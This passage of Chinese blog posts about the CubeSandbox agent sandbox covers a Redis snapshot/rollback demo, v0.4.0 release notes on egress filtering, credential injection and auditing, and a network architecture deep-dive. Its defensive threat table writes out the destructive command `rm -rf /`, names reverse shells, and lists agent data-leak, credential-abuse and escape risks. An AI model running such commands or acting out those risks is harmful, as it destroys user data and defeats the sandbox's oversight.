`examples/rollback-fuzz`。沙箱里有一个目标文件 `/workspace/rollback_test`，构建 10 条针对这个文件的随机命令，其中有一条命令是删除这个文件，每隔 1s 从 10 条命令中随机抽取一个命令执行，并将执行的命令 append 到 Redis 中的 `command_records` list。程序每次随机执行 bash 命令前，都会先创建 snapshot；如果执行命令后发现目标文件被删除，就立刻 rollback 到执行该命令前的 checkpoint，并退出程序。 如何执行： ```bash cd examples/rollback-fuzz python3 rollback_fuzz_demo.py ``` 核心流程是： ```python snapshot = sb.create_snapshot() # 执行随机命令，并把命令记录写入 Redis # 如果发现 /workspace/rollback_test 被删除，则回滚到 snapshot sb.rollback(snapshot.snapshot_id) ``` 执行结果摘录： ``` [host] running, picking one command every 1s ... [step 001] snap=snap-c6c46e31cb484bc885ce437a snapshot took 0.058s wrote 9.7 MiB cmd=cat /workspace/rollback_test > /dev/null [step 002] snap=snap-73e23f6c01b24a36b806c405 snapshot took 0.105s wrote 6.7 MiB cmd=date +%s%N >> /workspace/rollback_test [step 003] snap=snap-d969da92e63745b7a101f010 snapshot took 0.098s wrote 6.6 MiB cmd=rm -f /workspace/rollback_test [host] !! target file deleted by: rm -f /workspace/rollback_test [host] command_records BEFORE rollback (3 items): [00] cat /workspace/rollback_test > /dev/null [01] date +%s%N >> /workspace/rollback_test [02] rm -f /workspace/rollback_test [host] rolling back to snapshot snap-d969da92e63745b7a101f010 ... [host] rollback took 0.121s!! [host] target file restored: True [host] command_records AFTER rollback (2 items): [00] cat /workspace/rollback_test > /dev/null [01] date +%s%N >> /workspace/rollback_test ``` 结果说明：每次执行命令前打一个快照，snapshot 耗时 100ms 左右，每次做快照都是增量快照，写入内存小于 10MB；rollback 不止恢复了文件系统，还恢复了内存状态。回滚前，Redis 里已经记录了 3 条命令，其中包含删除文件的命令；回滚后，目标文件恢复，Redis 里的删除命令记录也消失，只剩前 2 条。这说明 CubeSandbox 把文件、内存、Redis 运行时状态一起恢复到了 checkpoint。对 Agent 来说，一次错误操作不再意味着重建环境，而是可以在约百毫秒量级回到失败前。 ### 3. 把 Redis 封装成可快速创建和克隆的 Agent Redis 服务 这个例子来自 `examples/cube-service-gateway`。它基于一个已经准备好的 Redis 沙箱模板，通过 cube-service-gateway 接入 CubeSandbox：Agent 只需要调用 `create redis`，gateway 就会根据配置里的 `redis -> template_id + service_port` 映射，通过 Cube API 拉起一个 Redis 沙箱，并返回可访问端点。 这一步的意义很大：传统 Redis 原本是一个需要人申请、部署、配置和维护的有状态服务；经过 gateway 封装后，它变成了一个具备"快速拉起、快速克隆、可扩展支持回滚"的 Agent Redis 服务。最小示例中 gateway 已经演示了 create / clone / destroy，而前一个 rollback 例子已经证明 CubeSandbox 可以恢复 Redis 运行态；因此在同一架构下继续向 gateway 暴露 snapshot / rollback action，就可以把回滚能力也变成服务 API。 这个架构也不局限于 Redis。只要为某个有状态服务准备好模板，例如 Redis、MySQL、Postgres、Nginx、消息队列或向量数据库，并在 gateway 配置中声明服务名、模板 ID 和端口，CubeSandbox 提供的就是对应的服务实例。换句话说，Cube 提供的是一套"模板化有状态服务"的生命周期底座：快速创建、克隆分支、保存 checkpoint、失败回滚、最终销毁。 架构关系如下： ![Cube Service Gateway 架构](./assets/2026-06-17-cubesandbox-agent-friendly-service/05-cube-service-gateway.jpg) 如何执行： ```bash cd examples/cube-service-gateway cp config.example.json config.json python3 server.py config.json # 另一个终端中创建 Redis 服务 python3 client.py create redis # 拿到 sandbox_id 后克隆这个 Redis 服务 python3 client.py clone <sandbox_id> ``` 配置中的关键映射是： ```json { "templates": { "redis": { "template_id": "tpl-e48c5119a5714f3aa7853779", "service_port": 6379 }, "nginx": { "template_id": "tpl-13df4e20518c465a90c1d7e1", "service_port": 80 } } } ``` 执行结果摘录： ``` $ python3 client.py create redis { "sandbox_id": "0f067f5e61ad477fa32d0df45434d51d", "name": "redis", "service_port": 6379, "endpoint": "10.206.0.4:20006" } elapsed: 77.1 ms $ redis-cli -h 10.206.0.4 -p 20006 10.206.0.4:20006> set name rony OK 10.206.0.4:20006> get name "rony" $ python3 client.py clone 0f067f5e61ad477fa32d0df45434d51d { "sandbox_id": "40e42e1e7fe34ae4b995271d39166b2e", "name": "redis", "service_port": 6379, "endpoint": "10.206.0.4:20008" } elapsed: 314.2 ms $ redis-cli -h 10.206.0.4 -p 20008 10.206.0.4:20008> keys * 1) "name" 10.206.0.4:20008> get name "rony" ``` 结果说明：`create redis` 在 77.1ms 内返回一个可访问 Redis；写入 `name=rony` 后，再 clone 出来的 Redis 仍然能读到 `"rony"`，clone 耗时 314.2ms。这说明 Redis 的数据状态被一并复制到了新实例中。对 Agent 来说，这不只是"拉起一个缓存服务"，而是获得了一个可以从任意已知状态继续分叉的 Redis 工作空间。 > **注**：clone 出来的实例会继承源实例的网络连接，但是这些网络连接再也无法收发包，最好显式处理残留的网络连接或者等待它们超时。 更进一步，这种模式可以推广到其他有状态服务，只需简单两步： 1. 参照[自定义镜像](../../guide/tutorials/bring-your-own-image.md)，构建一个包含自己服务的模版，记录下模版 ID：`tpl-abcdeeff` 2. 编辑 cube-service-gateway 的配置文件，加上新构建的服务模版： ```json { "templates": { "redis": { "template_id": "tpl-e48c5119a5714f3aa7853779", "service_port": 6379 }, "new_service": { "template_id": "tpl-abcdeeff", "service_port": <service-port> } } } ``` 服务本身仍然是传统软件，但接入 CubeSandbox 后，传统软件生命周期变成了 Agent 友好的：极速拉起、带状态快速克隆、失败回滚、任务结束后销毁。 ## 结语 Agent 对软件服务的要求，本质上是状态生命周期的变化。过去我们关注服务是否稳定运行；现在还要关注它能否被快速创建、能否从任意状态分支、能否在失败后回滚、能否低成本地大量存在。 Neon、Turso、Upstash 说明，各类软件服务已经开始围绕 Agent 的工作方式重构产品形态。而 CubeSandbox 更进一步：它把快速启动、快照、克隆、回滚这些能力下沉到通用运行环境里，使各种传统服务也能轻易获得类似"分支"和"时间机器"的能力。 欢迎关注 CubeSandbox 项目：<https://github.com/TencentCloud/CubeSandbox> --- --- url: https://cubesandbox.com/zh/blog/posts/2026-06-17-cubesandbox-v0.4.0-release.md description: >- 继 v0.3.0 快照/克隆/回滚三件套之后，v0.4.0 由 15 位贡献者合入 58 个 commits，核心解决三个问题：出站治理（CubeEgress L7 代理 + 凭据注入 + 域名过滤 + 访问审计）、可观测性（容器日志转发 + vsock 通道）、一致性（节点组件版本矩阵 + 模板兼容性对账）。同时带来网络 P99 延迟降 41%、模板构建峰值磁盘从 4.2 倍降到 1.2 倍。 --- # Cube Sandbox v0.4.0：从"隔离 Agent"到"治理 Agent" 继两周前 v0.3.0 发布了快照、克隆、回滚"三件套"后，本周 v0.4.0 正式上线。这一版的更新清单看起来庞杂，但如果只用一句话概括，就是：**Cube 正在从一个"高性能隔离运行时"，长成一个"可治理的 Agent 基础设施"**。 隔离做到了极致之后，下一个问题不仅仅是"怎么把 Agent 关起来"，而是演变成： * **出站治理**——Agent 在沙箱里能往外打什么流量？ * **可观测**——沙箱里发生的事，外面看得见吗？ * **一致性**——集群里几十台机器，跑的到底是不是同一个版本？ 本次 v0.4.0 核心解决的就是这三个问题。 ## 一、域名过滤 Cube 的网络模型从第一个版本起即支持 AllowOut / DenyOut 的 IP/CIDR 过滤，可以按 IP 粒度对沙箱出站流量做精细控制，但真实业务场景的出站访问往往以域名的方式，通过 DNS 解析获得 IP 地址，配置策略时还不确定域名对应的 IP 地址，并且域名对应的 IP 随时可能发生变化。这套模型在原型阶段够用，但在生产环境下就开始捉襟见肘。 基于域名的过滤增强了出站流量管控，更贴合真实 Agent 使用沙箱的方式。在 AllowOut 中配置 1 个或多个域名，意味着放通该域名对应 IP 的流量；在 AllowOut 中可以同时配置域名和 IP/CIDR。域名不仅支持精确匹配，还支持后缀通配符方式，如 `*.qq.com` 即放通任何以 `.qq.com` 为后缀的子域名。DenyOut 不支持域名，当 AllowOut 中有至少 1 个域名时，DenyOut 必须包含 `0.0.0.0/0`，以拒绝任何未放通域名的流量。 ## 二、CubeEgress：沙箱第一次有了"L7 出境管控" 不管是 Cube 第一个版本起即支持的 AllowOut / DenyOut 的 IP/CIDR 过滤，还是域名过滤，都是以 IP 地址粒度对沙箱出站做精细控制，类似业内常见的做法——用 NetworkPolicy 做 L3/L4 隔离。但 Agent 的世界已经不在 L3/L4 这个抽象层了，Agent 调用的是 `https://api.openai.com/v1/chat/completions`，是 host + path + method 的组合。NetworkPolicy 看不到这一层。 CubeEgress 是一个全新的基于 OpenResty 的出站网关，通过 TPROXY 截获沙箱出站流量，在请求离开集群之前执行 L7 策略。它由运行在 OpenResty/nginx 上的 9 个 Lua 模块（约 2200 行代码）以及 Go 端的集成组成——CubeAPI（提供 API 配置沙箱出站策略）、CubeMaster（生成并烘焙 CA 证书到模版）、NetworkAgent（策略下发）和 CubeEgress（策略执行）。在 rules 策略中配置的 SNI 和 host 会自动在 AllowOut 中放通域名，且该域名对应 80/443 的 HTTP/HTTPS 流量将从 CubeVS 重定向到 CubeEgress 处理。 \*\*因此，CubeEgress 的设计就是把管控点放在 L7。\*\*它的工作方式，是通过 TPROXY 透明按需截获沙箱的出站流量——沙箱内的代码无需任何感知，请求像往常一样发出去，但在离开集群之前必须先过它这一关。 \*\*策略匹配维度是五个：SNI、host、method、path、scheme。动作是四个：allow、deny、audit、inject，\*\*同时也支持写 Lua 脚本轻松扩展任何需要的功能。 ### 2.1 L7 应用层过滤 IP/CIDR/域名的过滤，都是针对目的 IP 粒度的过滤。CubeEgress 支持 SNI、host、method、path、scheme 五元组的过滤，SNI、host 都支持后缀通配符，path 支持前缀通配符，每个元素也可以不配置，但 SNI/host 至少配置其一，以将流量引流到 CubeEgress。 每个沙箱可以配置若干 rule，每个 rule 可以配置五元组过滤，顺序匹配，每个规则可以 allow 或 deny 以实现精细的过滤策略。 ### 2.2 HTTPS 代理 CubeEgress 处理沙箱发出的 HTTPS 流量时需要对流量解密。即 CubeEgress 支持自分发证书服务，沙箱进行 HTTPS 访问时接收到 CubeEgress 分发的证书，并与 CubeEgress 完成加解密处理后，CubeEgress 再与原目的服务进行 HTTPS 交互。 制作模板时 Cube 自动将 CubeEgress 的根证书烘焙到沙箱镜像中，以使沙箱证书验证成功，这一切都在 Cube 内部闭环完成。 ### 2.3 关于凭据注入：Agent 代码再也不必接触你的 API Key 传统做法里，沙箱里的 Agent 要调 OpenAI，`OPENAI_API_KEY` 通常以环境变量的形式注入沙箱。这意味着：Agent 的 Python 代码读得到、它 import 的任何第三方库读得到、它跑的 LLM 上下文里可能出现、它打的日志里可能落盘。任何一环失守，Key 就出去了。 CubeEgress 的做法是反过来——**Key 只存在于代理层，永远不进沙箱**。 你在 `EgressRule.inject` 里配置好"凡是发往 `api.openai.com` 的请求，自动追加 `Authorization: Bearer ${KEY}`"，沙箱内的 Agent 代码只管发裸请求或携带任意 KEY，真实 Key 都由 CubeEgress 代理在转发时附加到 Header。从代码到日志，Agent 自始至终接触不到原始 Key。在 CubeEgress 自己的安全审计日志里，凭据字段也会被替换为 `***REDACTED***`，避免审计日志反过来成为泄密通道。 ### 2.4 关于审计：每一次出站，都留下可追溯的结构化记录 每个经过 CubeEgress 的请求，都会生成一条结构化 JSON 日志——去了哪个域名、用了什么方法、Header 里有什么、Body 里有什么。配合 redactor Lua 模块做请求体脱敏，你既能事后追溯 Agent 访问了什么，又不会把用户隐私写进日志。 ## 三、容器日志转发：沙箱内的输出，第一次能被宿主机"看见" 之前的沙箱存在一个问题：容器进程 stdout/stderr 的输出留在沙箱内部，宿主机上看不到。调试要 `cubecli exec` 进去翻，生产环境的日志聚合根本无从下手。 这件事的难点在于：沙箱是硬件隔离的 MicroVM，不是普通容器，stdout/stderr 不能像 `docker logs` 那样直接读宿主机进程的 fd。你必须在沙箱内部捕获、跨虚拟机边界传输、宿主机侧落盘——而且不能借用业务网络，否则日志和应用流量混在一起，又快又乱。 v0.4.0 的做法是开了一条**专用 vsock 通道**： * **沙箱 agent 侧**：通过 shim 注入的 `cube.container.log_forwarding=true` 注解感知到要开日志通道，为 init 进程的 stdout/stderr 创建管道，1 MiB 缓冲、`O_NONBLOCK` 非阻塞——这两个参数是关键，**保证日志写慢了不会反过来阻塞 Agent 进程**。 * **传输**：日志走专用 vsock 连接（与控制面、业务网络物理隔离），shim 在宿主机侧消费。 * **查看**：沙箱日志查看：`cubecli logs ${sandboxid}`，模版日志查看：`cubecli logs --tpl ${templateid}`。 * **退出时序**：进程退出时主动关闭写端 FD 确保读端收到 EOF。这是个看似琐碎但极易踩坑的细节——少了它，最后几行日志可能永远收不到。 配套新增了 `cubecli cubebox logs` 子命令，支持 `--tail`/`--head`/`--all`/`--stderr`。 ## 四、节点组件版本矩阵：让"版本漂移"无处藏身 你升级了 CubeMaster，忘了某台节点的 Cubelet；你刷新了 guest-image，有两个节点 kernel 没跟上。这种不一致不会立刻爆炸，但会在某一天以一种你完全意想不到的方式出问题——某个沙箱在 A 节点能跑、在 B 节点起不来，排查到最后才发现是某个组件版本差了两个小版本。 Kubernetes 用了多年才在这件事上形成共识：**版本可见性是集群运维的零号问题**。v0.4.0 把这一层基础设施搭起来了，分为了三步： ### 4.1 第一步：编译期统一注入版本元数据 所有 Go 二进制通过 ldflags、所有 Rust 二进制通过 build.rs，在编译期注入 version / commit / build-time 三元组。一键部署脚本生成 `release-manifest.json`。`cubecli version` 和 `cubemastercli version` 的输出格式完全一致。 听起来简单，但做过多语言异构项目的人都知道——**让 Go/Rust 两套构建链产生格式一致、来源一致的版本信息，是一件需要刻意约束才能做到的事**。在此之前，"同一个组件，不同工具查出来版本不一样"是 Cube 也存在过的现实。 ### 4.2 第二步：节点自动上报、CubeMaster 维护矩阵 Cubelet 在节点侧自动采集 guest-image、cube-agent、kernel 及控制面组件的版本，上报 CubeMaster。CubeMaster 在 `node_component_version` 表（迁移 0004）维护全集群版本矩阵，按组件分组报告同版本节点，**版本偏差以集合差的形式暴露**——哪台节点和大部队不一样，一眼就能看到。 CubeAPI 同时提供了汇总和详情接口，Web UI 新增 `Versions.tsx` 页面做可视化呈现。 ### 4.3 第三步：模板和组件版本"对账" 这一步比前两步更进一步。Cube 引入了 `template_versions` 表（迁移 0006）来记录每个模板副本依赖的组件版本，并提供两个端点： * `/templates/compat`：全集群模板兼容性视图 * `/templates/compat/{id}`：单模板详情 Web UI 配套引入了 CompatBadge / CompatSection / CompatWarning / CompatNodeCard / VersionDeltaList 五个组件——过时的副本、版本差异、需要重建的横幅，全部可视化。还支持"版本绑定"，把模板**固定到特定组件版本**，避免节点升级后模板悄无声息地坏掉。 ## 五、那些不在 Highlight 里、但同样重要的事 ### 5.1 网络性能：P99 延迟降 41% GetTapFile 这条沙箱启动关键路径被重写成三层策略：缓存命中走快速路径（0 系统调用）、池化 fd 已关闭走热路径（2 系统调用，跳过昂贵的 restoreTap）、无状态走完整恢复路径。fdserver 的 JSON 响应携带 ifindex，让 cubelet 直接跳过 netlink.LinkByName——这是个常被忽略但成本极高的并发序列化点。同时把 EnsureNetwork/ReleaseNetwork 之间的 TOCTOU 竞态，用 per-sandbox creating 守护通道替代了 singleflight。 BMI5 环境实测： * 网络 P50：35.3 → 23.1ms（**-35%**） * 网络 P99：86.6 → 51.2ms（**-41%**） * 整体启动 P50：106.1 → 92.0ms（**-13%**） * 吞吐：194.8 → 209.8 sandboxes/s ### 5.2 模板构建：峰值磁盘从 4.2 倍降到 1.2 倍 模板镜像构建管线做了一次彻底重构——引入 skopeo + umoci 走**无守护进程路径**。 其中，Cube 在 5 个细节上做了磁盘优化：包括 Docker export stdout **通过 1 MiB 管道直连 `tar -xf stdin`**，消除中间 rootfs.tar；ext4 空间估算用**三重开销精确模型**（256 MiB 固定 + 数据 10% + 每文件 1 KiB），按 256 MiB 边界对齐等。 最终优化结果是使**峰值磁盘使用从约 4.2 倍镜像大小降到约 1.2 倍**。文件级 SHA256 指纹还实现了跨构建去重。SDK 侧的 `POST /templates` 同步支持了 DNS、出口 CIDR、镜像仓库认证、command/args、网络类型和节点范围等更完整的选项。 此外，**在调度层面，实现了可配置超卖、自定义节点亲和性。同时，也修复了一系列核心 Bug**，例如：禁用互联网时不再自动放行 DNS（之前是 deny-all 策略下的隐蔽漏洞，影响安全语义一致性）、DNS 服务器 IP 自动加入 AllowOut（之前需要用户手动配置，新手必踩）等。 ## Coming soon... v0.4.0 把"出站治理"和"可观测性"两块拼图补上了，但我们还会继续在下一个版本里将这些功能推送给大家： * **ARM 物理机支持**：目前 Cube 还是一个 x86-first 的运行时，但 AI 基础设施侧的现实早已是双架构并行，越来越多团队希望"把 Agent 跑在 ARM 上"。下一版 Cube 计划将 MicroVM 内核、guest-image、cube-agent 全栈打通 ARM。 * **Volume SDK**：v0.3.0 的快照/克隆/回滚解决了"沙箱状态"的管理，但用户数据和沙箱生命周期仍然是绑死的。接下来，Volume SDK 会允许独立创建、可在沙箱之间挂载迁移、可独立做快照和备份。这意味着 Agent 从此可以拥有一个跨会话、跨实例的"工作空间"，而不只是一个一次性运行环境。 * **自动暂停与恢复（autopause）**：闲置沙箱占着内存和 CPU 配额是一笔实实在在的成本——Agent 等用户输入、等长任务回调、等下一轮 RL rollout 的间隙，沙箱大部分时间其实是"空跑"。autopause 会让沙箱在空闲时完整释放宿主机内存与 CPU 配额、只保留磁盘状态，被访问时再毫秒级唤醒。这个功能叠加 v0.3.0 的快照机制后，Cube 能把"暂停"做到接近 0 内存占用、"恢复"做到亚百毫秒级。 当前，Cube 已经走过了"造出一个高性能 MicroVM 沙箱"的阶段。从 v0.4.0 开始，它要回答的问题是：**当 AI Agent 真的大规模跑在生产环境里，沙箱该提供什么样的治理能力？** 如果你正在构建 Agent 工作流、Agentic RL 训练平台或者面向开发者的代码执行服务，欢迎来 GitHub 拍砖、提 issue、发 PR。 **GitHub 仓库：** https://github.com/TencentCloud/CubeSandbox **v0.4.0 完整 Release Note：** https://github.com/TencentCloud/CubeSandbox/blob/master/docs/zh/changelog/v0.4.0.md --- --- url: >- https://cubesandbox.com/zh/blog/posts/2026-06-23-cubesandbox-network-deep-dive.md description: >- AI Agent 赋予机器自主执行能力，也打开了数据泄露与凭证滥用的潘多拉魔盒。CubeSandbox 以 KVM MicroVM 隔离为基座、eBPF 内核态网络为骨架、L7 代理深度检查为护盾，构建了一套从虚拟交换到应用层审计的端到端网络安全体系。本文逐层拆解 CubeVS、CubeProxy、CubeEgress 等核心组件的设计与实现，揭示其如何在开放执行与安全可控之间取得平衡。 --- # Cube Sandbox 安全沙箱网络技术解析 AI Agent 赋予机器自主执行能力，也打开了数据泄露与凭证滥用的潘多拉魔盒。CubeSandbox 以 KVM MicroVM 隔离为基座、eBPF 内核态网络为骨架、L7 代理深度检查为护盾，构建了一套从虚拟交换到应用层审计的端到端网络安全体系。本文逐层拆解 CubeVS、CubeProxy、CubeEgress 等核心组件的设计与实现，揭示其如何在开放执行与安全可控之间取得平衡。 ## 1. 业务背景与需求场景 ### 1.1 AI Agent 的安全挑战 AI Agent 正在从"对话式助手"演进为"自主执行者"——它能够编写代码、调用 API、操作浏览器、执行系统命令。这种自主性在带来效率飞跃的同时，也引入了前所未有的安全挑战： | 风险维度 | 典型场景 | 潜在影响 | |---|---|---| | **代码执行风险** | LLM 生成的代码包含恶意操作（`rm -rf /`、反向 Shell） | 宿主机被攻陷，影响同租户 | | **数据泄露** | Agent 将用户隐私/企业机密发送到未授权的外部 API | 合规违规、商业损失 | | **凭证滥用** | Agent 窃取或滥用 API Key/Token 进行越权操作 | 资源盗用、服务瘫痪 | | **供应链攻击** | Agent `pip install` 了恶意包，执行了挖矿/后门代码 | 横向渗透、持久化入侵 | | **逃逸攻击** | 利用内核漏洞从容器逃逸到宿主机 | 整个集群沦陷 | 传统容器方案（Docker/Containerd）**共享宿主机内核**，一旦存在内核漏洞，攻击者可从容器内直接逃逸到宿主机。对于 AI Agent 这种执行**不可信代码**的场景，共享内核的隔离模型已不再安全。 ### 1.2 网络安全需求 AI Agent 沙箱的网络层需要解决以下核心问题： 1. **隔离性**：沙箱之间、沙箱与宿主机之间的网络必须完全隔离 2. **可控性**：精确控制每个沙箱可以访问哪些外部服务（IP/域名/协议） 3. **可观测性**：所有出站流量必须可审计、可追溯 4. **透明性**：对 Agent 代码零侵入，不需要修改应用逻辑 5. **高性能**：网络策略不能成为千级并发的瓶颈 ## 2. CubeSandbox 架构总览 ### 2.1 CubeSandbox 系统架构 CubeSandbox 采用**清晰的分层架构**，从上到下依次为 API 网关层、编排调度层、计算节点层和虚拟化层： ![CubeSandbox 系统架构](./assets/2026-06-23-cubesandbox-network-deep-dive/01-system-architecture.jpg) ### 2.2 CubeSandbox 网络架构 网络数据面包括访问沙箱流量和沙箱外访流量，四层转发及策略执行由高性能的内核态 ebpf 实现，七层路由及深度检查由用户态 nginx/openresty 完成： * **沙箱 Ingress 流量** 1. CubeProxy：基于 nginx/openresty 的 CubeProxy 反向代理，通过 http header 信息高性能路由转发。 2. CubeVS（Ingress）：纯内核态 ebpf 高性能转发，实现 portmapping 的无状态转换逻辑。 * **沙箱 Egress 流量** 1. CubeVS（Egress）：纯内核态 ebpf 高性能转发，实现 IP 过滤、域名过滤、SNAT、会话追踪等沙箱外访能力。 2. CubeEgress：基于 nginx/openresty 的 CubeEgress 的 7 层代理，实现 HTTPS 拦截、凭证注入、访问审计等安全能力，还可以基于 lua 扩展。 ![CubeSandbox 网络架构](./assets/2026-06-23-cubesandbox-network-deep-dive/02-network-architecture.jpg) ### 2.3 CubeSandbox 宿主机网络管理 network-agent 实现 TAP 池化管理与分配、PortMapping 端口分配、转发策略数据下发、状态持久化等管理。 * **Tap 设备池化**：预创建 500+ 的 Tap 设备，沙箱启动时无需初始化 Tap 设备，减少沙箱创建耗时 59+ms。 * **CubeVS、CubeEgress 转发策略配置数据下发管理**，按用户定义的策略处理网络流量。 ![CubeSandbox 宿主机网络管理](./assets/2026-06-23-cubesandbox-network-deep-dive/03-host-network-management.jpg) ## 3. CubeSandbox 沙箱网络虚拟化：CubeVS ### 3.1 设计目标 传统容器网络方案（Linux Bridge、OVS、iptables NAT）的每包处理开销随租户数增长而膨胀。CubeVS 用三个小型 eBPF 程序替代了整条传统网络栈，实现了 ARP 代理、策略检查、L7 代理选择、SNAT、会话创建、反向 NAT、端口映射代理、DNAT 到沙箱 IP、保持透明代理源 IP。 * **点对点低延迟**：每个沙箱独占 TAP 设备，无共享网桥、无软件交换机跳转，没有共享 L2 域，无需 ARP 洪泛和 STP。 * **内核态策略执行**：网络策略在 eBPF 中执行，CPU 开销最小，性能高，每个 TAP 拥有独立的策略 trie，更新互不影响。 * **可扩展 NAT**：SNAT 端口分配使用锁保护的水线池 + 冲突检测插入，避免 iptables 规则爆炸。 * **安全隔离**：TAP 间天然不可达，只能通过 eBPF 程序控制的路径通信。 ![CubeVS 设计](./assets/2026-06-23-cubesandbox-network-deep-dive/04-cubevs-design.jpg) ### 3.2 网络访问控制：基于 LPM Trie 的 CIDR 策略 IP 过滤 CubeVS 在 eBPF 内核态实现 per-sandbox 的出站 IP 策略，使用 **LPM（Longest Prefix Match）Trie** 数据结构进行 CIDR 匹配，**per-device 设计**意味着更新一个沙箱的策略不需要遍历或锁定其他沙箱的 map。 **评估顺序：** 优先级：**allow > deny > default-allow**，可以设置全拒绝（`0.0.0.0/0`）再用 allow 规则逐条放开的细粒度控制。 **默认策略** CubeVS 默认允许沙箱访问 internet，但阻止沙箱访问以下网段以确保沙箱无法访问宿主机内网，但可以通过 allow\_out 放通，也可通过指定策略 `allow_internet_access=False` 阻止沙箱访问 internet，相当于 deny\_out 中添加了全拒绝（`0.0.0.0/0`）策略。 | CIDR | 说明 | |---|---| | `10.0.0.0/8` | 私有网络 A 类 | | `127.0.0.0/8` | 回环地址 | | `169.254.0.0/16` | 链路本地（沙箱内部网关所在段） | | `172.16.0.0/12` | 私有网络 B 类 | | `192.168.0.0/16` | 私有网络 C 类 | ### 3.3 网络访问控制：基于 LPM Trie 的 DNS 报文域名策略过滤 IP 层策略只能基于目标 IP 做 CIDR 匹配，然而 AI Agent 的沙箱网络访问通常以域名为目标（如 `api.openai.com`），且同一域名可能解析到多个不同的 IP，CubeVS 通过 **DNS 策略引擎**实现域名维度的精细控制，CubeVS 在 eBPF 层拦截 DNS 查询（UDP 端口 53），获取查询域名，如果在 allow\_out 中放通了，则创建域名追踪记录，在 CubeVS 接收到 DNS 响应报文时，如果匹配上该追踪记录，则将响应报文中的 IP 地址添加到 allow\_out 中，以放通后续针对该域名的访问流量，并设置 TTL 以确保删除 allow\_out 中陈旧的 IP。 * 域名只能在 allow\_out 中放通，不能在 deny\_out 中配置。 * 为达到只放通指定域名的流量，建议 deny\_out 中配置全拒绝策略（`0.0.0.0/0`）。 * allow\_out 中配置了域名时，Cube 会自动将模版配置的 DNS server IP 添加到 allow\_out 中。 * 限制：该能力依赖沙箱通过 UDP port 53 的 DNS 查询获取域名 IP 后发起访问，而不是其它方式，如配置 hosts。 #### 与 L7 策略的协同 DNS 域名过滤策略在 eBPF 内核层提供域名维度的控制，CubeEgress 在 L7 层提供更精细控制，包括 http/https、sni、host、path、method 的精确控制。 在沙箱 network 配置中配置了 rules 策略时，Cube 会自动将其中的 host、sni 在 allow\_out 中放通域名，并标记对该域名的访问流量将上送到 CubeEgress 进行 L7 层处理，如凭证托管、访问审计，或 L7 层拒绝访问。 * **eBPF DNS 策略**：快速拒绝已知恶意域名，减少到达 L7 代理的流量。 * **CubeEgress L7 策略**：精细的域名通配（`*.example.com`）、路径前缀（`/v1/*`）、HTTP 方法等条件匹配。 ## 4. 沙箱网络入向网关：CubeProxy CubeProxy 是沙箱的**入向流量网关**，负责将外部请求路由到正确的沙箱实例，基于 OpenResty（Nginx + Lua）实现，采用 Host 头路由，兼容通配符 DNS（`*.sandbox.cube.app`），支持 TLS SNI，易于 DNS 配置。 **格式**：`{port}-{sandbox_id}.{domain}` CubeProxy 通过 Redis 查询沙箱在宿主机上的 portmapping 信息，即根据 `(container_port, sandbox_id)` 获取 `(HostIP, mapping-port)`，将请求转发到对应母机。 ## 5. 应用层安全增强：CubeEgress ### 5.1 设计定位 CubeEgress 是沙箱的**出向安全网关**，在 L7 层对 HTTP/HTTPS 流量实施深度检查。它是对 CubeVS 内核态策略的**用户态增强层**，解决内核层无法处理的域名匹配、凭证注入、内容审计等需求。 核心能力矩阵： | 能力 | 说明 | |---|---| | HTTPS 透明拦截 | MITM 动态证书 + TLS 终止 | | 域名/路径/方法匹配 | L7 策略引擎，first-match-wins | | 凭证注入 | 代理层自动注入，Agent 不接触凭证 | | 数据脱敏 | 审计日志中敏感字段替换 | | 访问审计 | JSONL 格式结构化日志 | | 请求过滤 | 允许或拒绝请求 | 限制：该能力依赖沙箱通过 UDP port 53 的 DNS 查询获取域名 IP 后发起访问，而不是其它方式，如配置 hosts。 ### 5.2 按需引流：eBPF 到 L7 代理的流量调度 不是所有流量都需要 L7 检查，只有访问 rules 中配置了规则的域名的 http/https 流量才会通过 CubeVS **按需引流**到 CubeDev 设备，从而进入 kernel Stack，再结合 iptables 的 TProxy 机制和用户态 socket 设置 `IP_TRANSPARENT` 选项（当前 nginx/openresty 均不支持，Cube 提供了 patch，也提供了打过 patch 的 openresty 容器镜像），将报文透明转发到 OpenResty 的用户态 socket 接收，并保留沙箱访问的原始目的 IP。 ![CubeEgress 按需引流](./assets/2026-06-23-cubesandbox-network-deep-dive/05-cubeegress-traffic.jpg) ### 5.3 HTTPS 透明拦截：动态证书生成 CubeEgress 通过 MITM（Man-in-the-Middle）代理实现对 HTTPS 流量的深度检查，核心机制是**动态证书生成**： #### 证书架构 * **ECDSA P-256**：叶证书使用椭圆曲线，比 RSA 更快更小。 * **7 天 TTL**：短期有效，降低泄露影响。 * **缓存锁**：lua-resty-lock 防止同一 SNI 并发生成。 * **CA 信任注入**：在制作模版时默认将 Root CA 证书注入沙箱，对 Agent 透明。 ### 5.4 L7 策略引擎 沙箱的 CubeEgress 策略可以包含多个 rule，每个 rule 又包含了一个 match 和 action，顺序匹配，第一个匹配的 rule 生效，不再匹配后续 rule，未匹配任何规则的请求将默认拒绝。 * match 的匹配语义： | 字段 | 格式 | 语义 | |---|---|---| | sni | `*.example.com` | 精确匹配或后缀 `*.` 通配（仅匹配子域名） | | host | `api.example.com` | 精确匹配或后缀 `*.` 通配（忽略 `:port`） | | method | `{"GET", "POST"}` | 数组，任一匹配即通过 | | path | `/v1/*` | 精确匹配或尾缀 `*` 前缀匹配 | | scheme | `http` / `https` | 精确匹配 | * action 的执行语义：allow / deny / audit / inject ### 5.5 凭证托管与注入 AI Agent 沙箱**不应直接持有 API Key/Token**，CubeEgress 的凭证注入机制让沙箱发送不含凭证的请求，由沙箱外的 CubeEgress 代理层自动注入： 凭证注入受到多道检查以保护凭证的安全，任一失败则**放弃注入**（请求仍可继续，但不携带凭证）： | 检查内容 | |---| | 请求必须是 HTTPS | | SNI 匹配规则 | | Host 头必须与 SNI 一致 | | 上游证书验证通过 | | 策略授权放通 | ### 5.6 访问审计 每条网络请求（无论允许还是拒绝）都生成 JSONL（JSON Lines）格式的结构化审计记录，审计日志中的敏感字段**绝不记录原始值**，通过多层脱敏策略保护： | Header 类型 | 脱敏策略 | 示例 | |---|---|---| | Authorization / Proxy-Authorization | 保留认证方案，脱敏值 | `Bearer <redacted:Bearer>` | | Cookie / Set-Cookie | 保留 Cookie 名，脱敏值 | `<redacted; names=session_id,theme>` | | X-Api-Key | 完全脱敏 | `<redacted>` | | X-Auth-Token / Token | 完全脱敏 | `<redacted>` | | 含 token/secret/key/password/auth 的 Header | 完全脱敏 | `<redacted>` | ### 5.7 CubeEgress 能力扩展 CubeEgress 是基于 OpenResty 实现的 http/https 